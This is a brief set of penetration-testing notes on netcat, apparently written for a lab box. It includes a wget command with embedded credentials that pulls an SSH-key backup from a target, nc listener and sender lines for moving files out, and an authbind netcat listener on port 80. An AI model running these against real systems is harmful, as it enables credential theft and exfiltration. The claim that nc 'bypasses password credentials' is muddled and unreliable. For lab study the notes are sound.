Netcat

First, check whether or not this target is allowed to connect

tcpdump -i tun0 icmp
ip -a link

File transfer and others

• https://linuxize.com/post/netcat-nc-command-with-examples/
• https://nakkaya.com/2009/04/15/using-netcat-for-file-transfers/

Bonus: nc file transfer can bypass password credentials

wget http://david:Nowonly4me@10.10.10.165/~david/protected-file-area/backup-ssh-identity-files.tgz
nc won't need Nowonly4me

# On the receiving end running,
nc -l -p 1234 > out.file
# On the sending end running,
nc -w 3 <IP> 1234 < out.file

authbind to make nc better

authbind nc -lnvp 80 https://en.wikipedia.org/wiki/Authbind

Please also bear in mind that authbind can be used everywhere. e.g.authbind python -m pyftpdlib -p21 -w